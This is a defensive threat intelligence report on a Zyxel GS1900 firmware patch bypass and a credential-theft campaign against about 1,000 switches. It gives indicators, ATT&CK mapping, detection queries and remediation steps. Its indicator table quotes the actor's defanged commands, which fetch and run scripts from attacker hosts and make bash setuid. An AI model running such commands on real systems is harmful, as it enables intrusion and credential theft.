TLP:CLEAR Unrestricted public release.

CYBER THREAT INTELLIGENCE REPORT

Zyxel GS1900 "Patch 2" does not stop the exploit; a separate zero-day hit nearly 1,000 switches

From **Cybersecurity Briefing** · 2026-11-04 to 2026-11-05 (last 24 hours; Indiana sections swept back to the 2026-10-31 cutoff) · Briefing generated 2026-11-05

REPORT ID	VERSION	HANDLING
CTI-20261105-02	1.0 · 2026-11-05 08:10 EST	TLP:CLEAR
BRIEFING SECTION	**ORIGINAL PUBLISHED**	**LAST UPDATE**
United States	2026-11-04	2026-11-05
CVES	**ANALYST**	
CVE-2026-107441 (CVSS 8.8), CVE-2026-7273 (CVSS 8.8)	Nick Sturgeon	

VULNERABILITY | HIGH | ACTIVELY EXPLOITED | OVERALL CONFIDENCE: MODERATE

BOTTOM LINE UP FRONT

Zyxel GS1900 smart switches running the June 2026 "Patch 2" firmware remain open to unauthenticated command execution through CVE-2026-107441, an out-of-bounds write in the CGI program behind the web management interface [S1] [S4]. Binarly found the actor's exploit on 2026-09-17 in an open folder on a server that also served as JITTERLY backdoor command-and-control, and reported in late September that it worked unchanged against all ten Patch 2 builds [S10] [S11]. Zyxel confirmed a separate flaw, posted Patch 3 firmware on 2026-10-22/23 and published its advisory on 2026-11-03 [S1] [S2] [S10]. No workaround is listed [S1] [S11].

The activity behind this is the campaign GreyNoise disclosed on 2026-09-21: on or about 2026-08-17, an actor it tracks as Kapibala took configurations, hashed root-level credentials and network details from 996 GS1900 switches in 48 countries, including 129 in the United States [S8]. GreyNoise reported that 564 of those victims had factory-default credentials and tied the exploit to CVE-2026-7273, which CISA added to KEV the same day [S6] [S8]. Binarly now says the exploit actually abuses a different bug, because the Patch 2 counter check runs only after the oversized copy has already overwritten the counter [S11]. GreyNoise assesses the actor as a suspected Chinese speaker that is the same as, or related to, the group Acronis calls Red Heron [S8] [S9].

Three cautions apply. First, the claim that the 996 compromises were true zero-day hits on patched switches is an inference: neither GreyNoise nor Binarly says what firmware the victims ran or how access

was gained, and Binarly itself allows that Patch 2 may simply have been a faulty fix [S11]. Second, Zyxel's advisory does not state that CVE-2026-107441 has been exploited, the CISA ADP entry on its CVE record shows exploitation as none, and the CVE was not in the 2026-11-04 KEV catalog [S1] [S4] [S6]. Treat it as exploited anyway; the EPSS score of 0.00293 is not a useful signal here [S7]. Third, Zyxel rates the flaw adjacent-network (CVSS 8.8), while Binarly rates it 9.8 because any network path to the management service is enough [S4] [S11]. A remote actor reaching 996 switches in 48 countries supports Binarly's reading [S8].

Upgrade every GS1900 to the Patch 3 (.3C0) build for its model, including switches already on Patch 2, and take management interfaces off untrusted networks [S1] [S2]. Patching does not remove an attacker's access or undo the theft of credentials, and the advisory gives no way to check for compromise [S11]. Collect evidence first where practical, treat any switch that was reachable from untrusted networks as possibly compromised, and rotate its credentials and secrets. Binarly plans to release a smaller proof-of-concept soon, so the window for orderly patching is short [S11].

Key judgments

VERY LIKELY · MODERATE CONFIDENCE
Opportunistic scanning and exploitation of CVE-2026-107441 by actors other than Kapibala will increase within weeks of Binarly releasing its promised proof-of-concept, given a pre-authentication flaw, a low-cost device class and no workaround. [S1] [S11]

LIKELY · MODERATE CONFIDENCE
CISA will add CVE-2026-107441 to KEV within the next 30 days, since public reporting already links the bug to in-the-wild activity and the existing KEV entry for CVE-2026-7273 covers the same campaign. The missing vendor confirmation of exploitation and the ADP entry showing none are the main reasons for delay. [S4] [S6] [S10] [S11]

VERY LIKELY · MODERATE CONFIDENCE
Organizations that install Patch 3 but do not rotate switch credentials and stored secrets will stay exposed to any credentials already stolen, because the firmware fix does not address data taken before the upgrade and the actor has reused harvested credentials and cracked password hashes in other intrusions. [S8] [S9] [S11]

ROUGHLY EVEN CHANCE · LOW CONFIDENCE
The stolen switch data will support follow-on network intrusions at some victim organizations, though no such intrusion has been publicly tied to a GS1900 victim so far. [S8] [S9]

VERY LIKELY · MODERATE CONFIDENCE
Zyxel's adjacent-network rating will prove to understate real-world exposure, because the reported victim distribution is hard to explain unless management interfaces were reachable across the internet or other routed networks. [S4] [S8] [S11]

INDICATORS OF COMPROMISE

Campaign indicators come from GreyNoise (2026-09-21) and Acronis, plus hashes and infrastructure credited to Binarly that were read through secondary reporting (Ostorlab, Cyber Security News) because Binarly's own pages could not be retrieved; the IP addresses other than 104.225.153.141 rest on one secondary source. Most are 2026 actor infrastructure from related campaigns and may be stale, so validate before blocking; only the commands, paths and request patterns marked for the switch campaign apply directly to GS1900 devices, and GreyNoise redacted the host that served the collector.

Type	Indicator (defanged)	Context	Provenance	First seen	Source
sha256	`0f6e757e82c4d91df5bd249f775b9970b59dee42cc0dfe40f879d77fc16821c6`	Backdoor. Listed by GreyNoise as a Kapibala backdoor and credited to Binarly as a JITTERLY sample, so two independent lines agree. Not reported as found on a switch.	REPORTED		[S8] [S14] [S15]
sha256	`663a8088faca8e126a11648f5671fcf4eaf96435e10daf63a1d1b17d8385154c`	JITTERLY backdoor sample credited to Binarly. Read through secondary reporting.	REPORTED		[S14] [S15]
sha256	`82d072ab03d90c0131b06a576eadf2c986a51f0de986d50db4e49be01bf125cb`	JITTERLY backdoor sample credited to Binarly. Read through secondary reporting.	REPORTED		[S14] [S15]
sha256	`295133156b6a7d95b9c92f832f49e35235f1fbd3906e75c9202ef4cd65d1018c`	SIXZUT rootkit sample credited to Binarly. Read through secondary reporting.	REPORTED		[S14] [S15]
sha256	`64677002011bc2e4bc642a4154a20fdb95620ebd0144b98fc60f917901ec8b92`	SIXZUT rootkit sample credited to Binarly. Read through secondary reporting.	REPORTED		[S14] [S15]
sha256	`728810b07e911b235f6450e784391e39f68819a0a5d209662162916ffea25146`	SIXZUT rootkit sample credited to Binarly. Read through secondary reporting.	REPORTED		[S14] [S15]
sha256	`0e81d80b40eaacbf6cb1e817fb1824c30a824af5cb4faca4aa9b03fd506d480f`	Backdoor listed in GreyNoise's Kapibala indicator table.	REPORTED		[S8]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
sha256	`2ff2945b13a4cd0e9a65c85af29ea1539e162a516466c0de682dbf9f8a4000b1`	Backdoor delivered in the first round of the actor's UniFi OS exploitation; it used p3.981666[.]xyz:6379 for C2.	REPORTED	2026-06-12	[S8]
sha256	`b441f793c87e54cb7e3f7205e25442aa19920d325cb6af41d2afdc8a0b5cf54f`	agent.elf (JITTERLY) from the Gitea campaign.	REPORTED		[S9]
sha256	`28b132ad55bd310bb5cf3ddb4ace580529ad735204a48cf388830d9039843d8e`	rootkit.so (SIXZUT) from the Gitea campaign.	REPORTED		[S9]
domain	`981666[.]xyz`	Parent domain shared across GreyNoise, Acronis and Binarly-derived reporting; one of the main reasons GreyNoise links Kapibala to Red Heron.	REPORTED		[S8] [S9] [S14]
domain	`*[.]981666[.]xyz`	C2 wildcard in GreyNoise's table. Secondary reporting of Binarly's data names hosts p1 to p3 and s0 to s9 under this domain.	REPORTED		[S8] [S14]
domain	`p3[.]981666[.]xyz`	C2 for a UniFi-campaign backdoor, on TCP 6379.	REPORTED		[S8] [S14]
domain	`s2[.]981666[.]xyz`	C2 in the Gitea campaign, on TCP 8082.	REPORTED		[S9] [S14]
domain	`xcyoibfhuufz[.]com`	Related domain listed by Acronis for the Gitea campaign.	REPORTED		[S9]
ipv4	`104[.]225[.]153[.]141`	Labeled C2 in GreyNoise's indicator table (table layout is ambiguous) and also listed in Binarly-derived data.	REPORTED		[S8] [S14]
ipv4	`172[.]245[.]247[.]21`	Labeled exploitation in GreyNoise's indicator table (table layout is ambiguous).	REPORTED		[S8]
ipv4	`74[.]48[.]66[.]73`	Staging server used in the UniFi OS exploitation, port 9860.	REPORTED	2026-06-12	[S8]
ipv4	`104[.]223[.]65[.]148`	Credited to Binarly's analysis through one secondary source; role not stated.	REPORTED		[S14]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
ipv4	`203[.]88[.]123[.]148`	Credited to Binarly's analysis through one secondary source; role not stated.	REPORTED		[S14]
ipv4	`166[.]88[.]227[.]181`	Credited to Binarly's analysis through one secondary source; role not stated.	REPORTED		[S14]
ipv4	`72[.]11[.]138[.]109`	Staging server in the Gitea campaign, port 8888.	REPORTED	2026-08-04	[S9]
url	`hxxp[://]74[.]48[.]66[.]73:9860/ssh`	Backdoor download URL from the UniFi OS exploitation.	REPORTED	2026-06-12	[S8]
command	`sh -c tftp -gr c -l /1 <REDACTED> 6969;/bin/sh /1`	Switch campaign. Fetches the collector script named c over TFTP on port 6969, saves it as /1 and runs it. Host redacted by GreyNoise.	REPORTED	2026-08-17	[S8]
command	`cp /tmp/info /home/web/tmp/info.txt`	Switch campaign. The collector's last step, staging stolen data for retrieval.	REPORTED	2026-08-17	[S8]
command	`wget hxxp://74.48.66[.]73:9860/ssh -O /tmp/ssh && chmod +x /tmp/ssh && sudo -n chmod u+s /bin/bash && bash -p -c /tmp/ssh`	UniFi OS campaign staging command. URL defanged here on purpose. Related activity, not seen on switches.	REPORTED	2026-06-12	[S8]
filename	`c`	Name of the collector script fetched by TFTP in the switch campaign. Too short to use alone; pair it with TFTP telemetry.	REPORTED	2026-08-17	[S8]
filepath	`/1`	Switch campaign. Local name of the collector script.	REPORTED	2026-08-17	[S8]
filepath	`/tmp/info`	Switch campaign. Collector output before staging. Location suggests it may not survive a reboot (analyst inference).	REPORTED	2026-08-17	[S8]
filepath	`/home/web/tmp/info.txt`	Switch campaign. Stolen data staged for retrieval.	REPORTED	2026-08-17	[S8]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
http-request	`POST /cgi-bin/dispatcher.cgi`	Component and endpoint named for CVE-2026-107441. The switch may not log the POST body, so missing logs do not prove safety.	REPORTED		[S14] [S15]
http-request	`POST /cgi-bin/dispatcher.cgi with a very large body or about 140 or more &-separated parameters`	Binarly describes a fixed area of 140 parameter entries, overrun by an oversized 140th parameter, and secondary reporting advises looking for large bodies and many parameters. The specific pattern is inferred from those statements; legitimate configuration pages may also send large forms, so baseline first.	DERIVED		[S11] [S14]
http-request	`GET /tmp/info.txt`	Data was staged at /home/web/tmp/info.txt for retrieval. If /home/web is the web root, this is the path a retrieval request would hit. GreyNoise does not say how the data was collected, so this is unconfirmed.	DERIVED	2026-08-17	[S8]
http-request	`/api/v1/metrics?k=<key>&x=<cmd>`	Gitea-campaign backdoor endpoint. Auth key redacted by Acronis. Related activity.	REPORTED		[S9]
filename	`httprestorecfg.cgi`	One secondary report says this CGI contains the same weak code as dispatcher.cgi. Monitor unusual POSTs here too.	REPORTED		[S15]
filename	`httpupload.cgi`	One secondary report says this CGI contains the same weak code as dispatcher.cgi. Monitor unusual POSTs here too.	REPORTED		[S15]
port	6969	Non-standard TFTP port in the collector download command. Outbound traffic from a switch management IP on this port is high-value. UDP is inferred, since TFTP normally runs on UDP.	REPORTED	2026-08-17	[S8]
port	6379	C2 port for p3.981666[.]xyz; also listed as a malware port in Binarly-derived data. Also the default Redis port, so expect noise.	REPORTED		[S8] [S14]
port	9860	Staging port on 74.48.66[.]73.	REPORTED	2026-06-12	[S8]
port	8082	C2 port for s2.981666[.]xyz; also listed in Binarly-derived data.	REPORTED		[S9] [S14]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
port	8888	Staging port on 72.11.138[.]109.	REPORTED	2026-08-04	[S9]
port	48931	Gitea-campaign backdoor port.	REPORTED		[S9]
port	48932	Gitea-campaign backdoor port.	REPORTED		[S9]
port	443, 6443, 8080, 5432	TCP ports described as used by the malware, source not named. Low fidelity alone; useful only when combined with the domain or IP indicators.	REPORTED		[S14]
filepath	/tmp/ssh	UniFi OS backdoor download target. Related activity.	REPORTED	2026-06-12	[S8]
filepath	/wp-content/plugins/kapibala_plugin/kapibala_index.php	WordPress webshell from the July 2026 government intrusion. Related activity.	REPORTED	2026-07-22	[S8]
filename	fw.php	WordPress file writer deployed with the kapibala_plugin webshell. Related activity.	REPORTED	2026-07-22	[S8]
filepath	C:\Windows\Temp\imp.ps1	Windows privilege-escalation tooling from the July 2026 intrusion. Related activity.	REPORTED	2026-07-22	[S8]
filename	imp_out.txt	Output file from the July 2026 intrusion. Related activity.	REPORTED	2026-07-22	[S8]
filename	smb_spray.ps1	Password-spraying script from the July 2026 intrusion. Related activity.	REPORTED	2026-07-22	[S8]
filename	smb_spray.txt	Output file from the July 2026 intrusion. Related activity.	REPORTED	2026-07-22	[S8]
filepath	C:\Windows\Temp\sam.hiv	Attempted SAM hive save in the July 2026 intrusion. Related activity.	REPORTED	2026-07-22	[S8]
filename	test.proj	Listed with the July 2026 Windows tooling; the actor tried MSBuild-based approaches. Related activity.	REPORTED	2026-07-22	[S8]
filename	potato_out.txt	Output file associated with token-theft attempts in the July 2026 intrusion. Related activity.	REPORTED	2026-07-22	[S8]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
filename	`agent.elf`	JITTERLY sample name in the Gitea campaign.	REPORTED		[S9]
filename	`rootkit.so`	SIXZUT sample name in the Gitea campaign.	REPORTED		[S9]
filename	`libglthread.so.2`	SIXZUT binary on Linux hosts.	REPORTED		[S9]
filename	`.ld_aux_cahe`	SIXZUT configuration file. Spelling as reported.	REPORTED		[S9]
filepath	`/tmp/.X11-unix.lk`	Lock file from the Gitea-campaign tooling.	REPORTED		[S9]
filepath	`/etc/ld.so.preload`	Modified to load SIXZUT. A legitimate file, so hunt for changes, and check from known-good media since the rootkit hides artifacts from userland.	REPORTED		[S9]
other	`configd`	JITTERLY fallback process and install name. Shares a name with legitimate software on some platforms, so corroborate.	REPORTED		[S9]
filepath	`/usr/lib/<name>/<name>`	JITTERLY install path pattern.	REPORTED		[S9]
other	`ADLGTBL1`	SIXZUT config magic header; usable as a file-content search string.	REPORTED		[S9]
other	`gitea: sanitize`	Process name disguise used by the Gitea-campaign backdoor.	REPORTED		[S9]
other	`systemd-network-helper.service`	Fake persistence service in the Gitea campaign.	REPORTED		[S9]
other	`systemd-resolved-helper.service`	Fake persistence service in the Gitea campaign.	REPORTED		[S9]
user-agent	`Mozilla/5.0`	Bare user agent in the actor's scripts per GreyNoise. Low fidelity alone.	REPORTED		[S8]
user-agent	`gitea-rce-poc/4.0`	User agent from the actor's Gitea exploitation.	REPORTED		[S9]
other	`kapibala`	Account name in GreyNoise's indicator table.	REPORTED		[S8]
other	`kapibala2`	Account name created in a privilege-escalation script.	REPORTED	2026-07-22	[S8]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
other	`dsaopk`	Manual testing account in the Gitea campaign.	REPORTED		[S9]
other	`pvenum02`	Proxmox enumeration account in the Gitea campaign.	REPORTED		[S9]
other	`P@ssw0rd`	Default password used by the Gitea-campaign tooling.	REPORTED		[S9]
other	`<word>_<word>_<3 digits>`	Auto-registered account naming pattern in the Gitea campaign.	REPORTED		[S9]
other	`@poc.local`	Email domain for accounts the Gitea-campaign tooling registered.	REPORTED		[S9]
other	`[victim]-backdoor`	Comment pattern on an ed25519 SSH key planted on victims.	REPORTED		[S9]
other	`root-shell`	Comment on an ed25519 SSH key; Acronis says a further comment decodes to a jumpbox label.	REPORTED		[S9]
other	`3a1e96289832518bff2feeb868bc61a4`	SIXZUT AES-128-CTR rootkit decryption key, for malware analysis rather than blocking.	REPORTED		[S9]
other	`88264a49750b3280e63894fb7445a9c2`	SIXZUT AES-128-CTR config decryption key, for malware analysis rather than blocking.	REPORTED		[S9]
other	`0x9C`	JITTERLY XOR string-obfuscation key, for malware analysis.	REPORTED		[S9]
other	`0x3C`	SIXZUT XOR string-obfuscation key, for malware analysis.	REPORTED		[S9]
filename	`exp.py`	Operator exploit script named by Acronis in pre-Gitea activity.	REPORTED		[S9]
filename	`exp_enhanced.py`	Operator automation script for the Gitea campaign, on actor infrastructure.	REPORTED		[S9]
filename	`tw_assets.json`	Operator target list of 477 Taiwan-based Gitea instances, on actor infrastructure.	REPORTED	2026-07-31	[S9]

Indicators are defanged (hxxp, [.], [@]) so they cannot be clicked. "Reported" means stated in a source; "Derived" means inferred by the analyst from the source material and should be validated before blocking.

TACTICS, TECHNIQUES & PROCEDURES (TTPS)

The attacker sends a crafted HTTP request to the switch's web management CGI without logging in. The handler stores parameters in a fixed area of 140 entries and did not check parameter size; an oversized 140th parameter overruns the area and overwrites the parameter counter, so the next parameter lands out of bounds and lets the attacker redirect a called function to one that runs commands as root [S11]. Patch 2 added a counter check, but it runs after the bad copy; Patch 3 checks the counter first and limits copy size [S11]. GreyNoise analyzed a PyArmor-obfuscated Python exploit, aimed explicitly at GS1900-24 firmware 2.10 to 2.90, with modes for a one-request path, an ASLR brute force averaging about 2,048 attempts, and automatic fingerprinting [S8]. After exploitation it pulled a collector script by TFTP over port 6969, ran it and staged configurations, hashed root credentials and network data for retrieval [S8]. Binarly's discovery ties this to infrastructure hosting the JITTERLY backdoor and SIXZUT rootkit, but public reporting shown here does not clearly place those implants on the switches themselves [S8] [S10] [S12].

Threat actor

Kapibala · also tracked as Red Heron (Acronis; GreyNoise assesses same or related)

Attribution confidence: Moderate · **Motivation:** Not stated by the sources. Observed behavior is data and credential theft across government, small business, and technology targets. · **Suspected origin:** Suspected Chinese-speaking, possibly working in UTC+8. Acronis assesses with moderate confidence a Chinese-speaking actor in a PRC-linked context. No source names a state sponsor or a known APT group.

GreyNoise bases the Red Heron link on a shared C2 domain, a malware family, July Gitea exploitation and other TTPs, and also suspects the tools were generated with a large language model [S8]. Acronis notes there may be multiple operators [S9]. Press shorthand such as "Chinese hackers" goes further than the original language [S12]. Related exploitation includes UniFi OS, WordPress, Gitea, Nuclio, SENAITE LIMS, Proxmox VE and FlowiseAI [S8].

MITRE ATT&CK mapping

Tactic	Technique	Procedure observed	Detection opportunity
Reconnaissance	T1595.002 Active Scanning: Vulnerability Scanning	Exploit tooling fingerprints targets before choosing a mode; the actor scans widely and an associated IP probed GreyNoise decoys for years. [S8]	Review firewall and web logs for external probes against switch management IPs.
Resource Development	T1587.004 Develop Capabilities: Exploits	Custom obfuscated Python exploit that checks for firmware patched against CVE-2026-7273. Origin of the bypass, deliberate or incidental, is unresolved. [S8] [S10]	Not directly detectable; track vendor and researcher reporting.

Tactic	Technique	Procedure observed	Detection opportunity
Initial Access	T1190 Exploit Public-Facing Application	Unauthenticated crafted HTTP requests to the switch web CGI trigger the out-of-bounds write. [S1] [S8] [S11] [S14]	Alert on POSTs to /cgi-bin/dispatcher.cgi from outside the management network, large bodies and request bursts consistent with brute force.
Initial Access	T1078.001 Valid Accounts: Default Accounts	564 of 996 victims had factory-default credentials. Sources do not establish that the actor logged in with them, so this mapping is a possibility, not an observed step. [S8] [S11]	Audit for default credentials and review management logins from unusual sources.
Execution	T1059.004 Command and Scripting Interpreter: Unix Shell	Exploit runs sh -c and /bin/sh to fetch and run the collector, with root privileges. [S8] [S11]	Device shell telemetry is rarely available; rely on network signals and on-device checks.
Command and Control	T1105 Ingress Tool Transfer	BusyBox-style TFTP download of script c from actor infrastructure on port 6969. [S8]	Alert on any outbound TFTP or port 6969 traffic from switch management IPs.
Collection	T1005 Data from Local System	Collector gathers device configuration and other local data. [S8]	Look for /1, /tmp/info and /home/web/tmp/info.txt where on-device access exists.
Credential Access	T1552.001 Unsecured Credentials: Credentials In Files	Hashed root-level credentials taken from the device. The storage location is not stated; this mapping is an analyst inference. [S8]	Assume exposure; monitor for reuse of switch credentials elsewhere.
Discovery	T1016 System Network Configuration Discovery	Collector records networking information. [S8]	Limited on the device; correlate with later scanning from internal hosts.
Collection	T1074.001 Data Staged: Local Data Staging	Collector copies /tmp/info to /home/web/tmp/info.txt for retrieval. [S8]	Look for the staged file, and for web requests for /tmp/info.txt.
Exfiltration	T1048 Exfiltration Over Alternative Protocol	Data was left for retrieval, and the method is unpublished. This mapping is a placeholder inference, most likely a web fetch of the staged file. [S8] [S11]	Review outbound volume from switch management IPs and external requests to them.

Tactic	Technique	Procedure observed	Detection opportunity
Defense Evasion	T1014 Rootkit	SIXZUT hides files, processes and connections and protects the implant. Reported on Linux hosts in related activity, not confirmed on switches. [S9] [S12]	Inspect from known-good media and compare against userland views.
Persistence	T1574.006 Hijack Execution Flow: Dynamic Linker Hijacking	SIXZUT loads through /etc/ld.so.preload. Related activity on Linux hosts. [S9]	File-integrity monitoring on /etc/ld.so.preload and LD_PRELOAD use.
Persistence	T1543.002 Create or Modify System Process: Systemd Service	Fake services systemd-network-helper and systemd-resolved-helper in the Gitea campaign. Related activity. [S9]	Alert on new unit files with these names.
Command and Control	T1095 Non-Application Layer Protocol	Manual backdoor check-ins over raw TCP on ports 48931 and 48932 in the Gitea campaign. Related activity. [S9]	Hunt for those ports and domain indicators in flow data.

Detection & hunting

Queries are built from the reported behavior and indicators. They are untested; tune field names for your environment.

External or non-management POST to GS1900 dispatcher.cgi with a large body `SURICATA`

```
alert http !$MGMT_ADMIN_NETS any -> $GS1900_MGMT_IPS any (msg:"Possible GS1900 CGI out-of-bounds write attempt - large POST to dispatcher.cgi"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/cgi-bin/dispatcher.cgi"; http.request_body; bsize:>4096; classtype:web-application-attack; sid:9107441; rev:1;)
```

Define both variables for your network. The 4096 threshold is a starting guess; tune it against normal admin use. Sensors must see HTTP in clear text, and the request-body inspection limit must be large enough. Built from reported behavior [S11] [S14].

Switch management IPs connecting out on TFTP or port 6969 `SPLUNK SPL`

```
index=firewall earliest=-120d [| inputlookup gs1900_mgmt_ips.csv | rename ip AS src_ip | fields src_ip] (dest_port=6969 OR dest_port=69) action!=blocked | stats count min(_time) AS first_seen max(_time) AS last_seen values(dest_ip) AS dest_ips BY src_ip, dest_port, transport | convert ctime(first_seen) ctime(last_seen)
```

Requires a lookup of GS1900 management IPs and CIM-style field names; adjust to your schema. Exclude approved firmware or backup TFTP servers. Based on the reported collector download [S8].

Any public-internet egress from GS1900 management IPs, or contact with campaign indicators `KQL`

```
let Mgmt = _GetWatchlist('GS1900_Mgmt_IPs') | project IP = tostring(SearchKey);
let Iocs = _GetWatchlist('Kapibala_RedHeron_IPs') | project IP = tostring(SearchKey);
CommonSecurityLog
| where TimeGenerated > ago(120d)
| where SourceIP in (Mgmt)
| where not(ipv4_is_private(DestinationIP)) or DestinationIP in (Iocs)
| summarize Events = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), Ports =
make_set(DestinationPort) by SourceIP, DestinationIP
| order by LastSeen desc
```

Load the IP indicators from this report into the watchlist. Allow-list NTP, DNS and similar services a switch legitimately uses. Absence of hits does not clear a device, since telemetry may not cover it.

Request for the staged collector output on a switch `SIGMA`

```
title: Possible Retrieval of GS1900 Collector Output
status: experimental
description: Web request for the path that would serve /home/web/tmp/info.txt if /home/web is the web
root (unconfirmed).
logsource:
  category: proxy
detection:
  selection:
    cs-method: GET
    c-uri|endswith: '/tmp/info.txt'
  condition: selection
falsepositives:
  - Authorized forensic checks; other web applications using the same path
level: high
```

Derived from the reported staging command [S8]; the retrieval method is unpublished. Filter to switch destination IPs in your backend, and apply equally to web gateway or NDR logs.

REMEDIATION ACTIONS

Exposure

Product	Affected	Fixed in	CVE	CVSS	EPSS	CISA KEV	KEV due date
Zyxel GS1900-8	2.90(AAHH.2)C0 and earlier	2.90(AAHH.3)C0	CVE-2026-107441	8.8 (Zyxel); 9.8 (Binarly)	0.00293 (22nd percentile, 2026-11-04)	No	N/A

Product	Affected	Fixed in	CVE	CVSS	EPSS	CISA KEV	KEV due date
Zyxel GS1900-8HP (the release notes list Rev. B1 separately under the same build)	2.90(AAHI.2)C0 and earlier	2.90(AAHI.3)C0	CVE-2026-107441	8.8 (Zyxel); 9.8 (Binarly)	0.00293 (22nd percentile, 2026-11-04)	No	N/A
Zyxel GS1900-10HP	2.90(AAZI.2)C0 and earlier	2.90(AAZI.3)C0	CVE-2026-107441	8.8 (Zyxel); 9.8 (Binarly)	0.00293 (22nd percentile, 2026-11-04)	No	N/A
Zyxel GS1900-16	2.90(AAHJ.2)C0 and earlier	2.90(AAHJ.3)C0	CVE-2026-107441	8.8 (Zyxel); 9.8 (Binarly)	0.00293 (22nd percentile, 2026-11-04)	No	N/A
Zyxel GS1900-24	2.90(AAHL.2)C0 and earlier	2.90(AAHL.3)C0	CVE-2026-107441	8.8 (Zyxel); 9.8 (Binarly)	0.00293 (22nd percentile, 2026-11-04)	No	N/A
Zyxel GS1900-24E	2.90(AAHK.2)C0 and earlier	2.90(AAHK.3)C0	CVE-2026-107441	8.8 (Zyxel); 9.8 (Binarly)	0.00293 (22nd percentile, 2026-11-04)	No	N/A
Zyxel GS1900-24EP	2.90(ABTO.2)C0 and earlier	2.90(ABTO.3)C0	CVE-2026-107441	8.8 (Zyxel); 9.8 (Binarly)	0.00293 (22nd percentile, 2026-11-04)	No	N/A
Zyxel GS1900-24HPv2	2.90(ABTP.2)C0 and earlier	2.90(ABTP.3)C0	CVE-2026-107441	8.8 (Zyxel); 9.8 (Binarly)	0.00293 (22nd percentile, 2026-11-04)	No	N/A

Product	Affected	Fixed in	CVE	CVSS	EPSS	CISA KEV	KEV due date
Zyxel GS1900-48	2.90(AAHN.2)C0 and earlier	2.90(AAHN.3)C0	CVE-2026-107441	8.8 (Zyxel); 9.8 (Binarly)	0.00293 (22nd percentile, 2026-11-04)	No	N/A
Zyxel GS1900-48HPv2	2.90(ABTQ.2)C0 and earlier	2.90(ABTQ.3)C0	CVE-2026-107441	8.8 (Zyxel); 9.8 (Binarly)	0.00293 (22nd percentile, 2026-11-04)	No	N/A
All ten GS1900 models above (earlier flaw)	2.90(xxxx.1)C0 and earlier	2.90(xxxx.2)C0 for this CVE; install .3C0 to cover both	CVE-2026-7273	8.8 (Zyxel)	0.02778 (86th percentile, 2026-11-04)	Yes (added 2026-09-21)	2026-09-24

Immediate (0–24 hours)

- Find every GS1900 in all environments and record model, hardware revision, firmware build, management IP and whether the web interface is reachable from the internet or from user, guest or other untrusted VLANs. A build ending in .2C0 is still vulnerable. `IT OPS` [S1] [S2] [S11]
- Block management access (HTTP/HTTPS) from the internet and from anything other than approved admin hosts. This limits exposure and does not fix the flaw. `IT OPS` [S11] [S14]
- Before upgrading any switch that was exposed, export its configuration and logs and, where the device allows it, check for /1, /tmp/info and /home/web/tmp/info.txt. The reboot during upgrade may clear temporary files (analyst inference). `SOC` [S8]
- Install the Patch 3 (.3C0) build that matches each model, using the model-specific firmware link, starting with exposed devices. Confirm the running version afterward. `IT OPS` [S1] [S2]
- Run the hunting queries and search firewall, DNS and flow logs from at least May 2026 onward for the campaign indicators, especially switch management IPs contacting external hosts or port 6969. `SOC` [S8] [S14]

Short term (1–7 days)

- On any switch that ran older firmware and was reachable from untrusted networks, replace default passwords, change the local admin password, and rotate SNMP communities and any RADIUS, TACACS+ or VPN secrets stored on it. Treat stolen hashes as crackable, and change the password anywhere else it was reused. `IT OPS` [S8] [S9] [S14]

- For switches with matching indicators, treat as compromised: preserve evidence, factory-reset or replace the device (no vendor eviction guidance exists), rebuild the configuration by hand rather than restoring a suspect one, and investigate adjacent systems. `SOC` [S11]
- Review authentication logs on RADIUS, TACACS+ and VPN services, and on neighboring systems, for use of credentials exposed in switch configurations, and watch for SNMP queries from unknown hosts. `SOC` [S8] [S14]
- Move switch management to a dedicated VLAN, with an allow-list of admin hosts, and disable remote management where it is not required. `IT OPS` [S14]
- Review whether other technologies the actor targets are present and patched: UniFi OS, WordPress, Gitea, Proxmox VE, Nuclio, SENAITE LIMS, FlowiseAI and PAN-OS GlobalProtect. `IT OPS` [S8]
- Decide who needs to know: notify affected clients, and check contract, insurance and regulatory duties if a compromise is confirmed. `LEADERSHIP` [S8]

Long term

- Replace GS1900 hardware outside Zyxel's vulnerability support period, because patches go only to models still inside it. `LEADERSHIP` [S1] [S3]
- Stop treating vendor "patched" status as proof where risk is high: track repeat fixes, re-verify after follow-up advisories, and consider binary or third-party validation for critical edge devices. `LEADERSHIP` [S12]
- Add network devices to asset inventory, configuration backup, default-credential audits and central logging, with unique per-device administrative credentials. `IT OPS` [S8] [S14]

Workarounds & compensating controls

- If a switch cannot be upgraded right away, restrict its web interface at an upstream firewall or ACL to one or two admin hosts. Zyxel lists no workaround, so this reduces risk without removing it, and Binarly suggests any network path to the service is enough. `IT OPS` [S1] [S11] [S14]
- Deny all outbound traffic from switch management IPs except approved NTP, DNS, syslog and RADIUS destinations, which would have blocked the reported collector download. `IT OPS` [S8]
- Formally accept risk, with an end date, for any switch that has to stay on older firmware. `LEADERSHIP` [S1]

Actions marked with an owner: SOC = security operations, IT Ops = system and network administration, Leadership = risk and communications decisions.

SOURCES

[S1] Zyxel: Zyxel security advisory for out-of-bounds write vulnerability in GS1900 series switches
Published 2026-11-03 · `A1` Completely reliable, confirmed by other sources
Primary vendor source for affected and fixed builds. Silent on exploitation and on workarounds.

[S2] Zyxel Community: Switch GS1900 series V2.90 Patch 3 firmware release
Published 2026-10-23 · **A1** Completely reliable, confirmed by other sources
Vendor release notes, edited 2026-11-03. The source of the 10-23 date; some outlets say 10-22.

[S3] Zyxel: Zyxel security advisory for stack-based buffer overflow vulnerability in GS1900 series switches
Published 2026-06-16 · **A2** Completely reliable, probably true
Advisory for CVE-2026-7273. No revision history after the first release, and no link to the later CVE.

[S4] CVE Program: CVE-2026-107441 record
Published 2026-11-03 · **A2** Completely reliable, probably true
Zyxel CNA record: AV:A, CVSS 8.8, CWE-787. CISA ADP SSVC shows exploitation none. Lists the ABTP build as "GS1900-HPv2", while the advisory says GS1900-24HPv2.

[S5] CVE Program: CVE-2026-7273 record
Published 2026-06-16 · **A2** Completely reliable, probably true
CWE-121, CVSS 8.8. Binarly's work challenges whether this is the bug the campaign actually used.

[S6] CISA: Known Exploited Vulnerabilities catalog, version 2026.11.04
Published 2026-11-04 · **A1** Completely reliable, confirmed by other sources
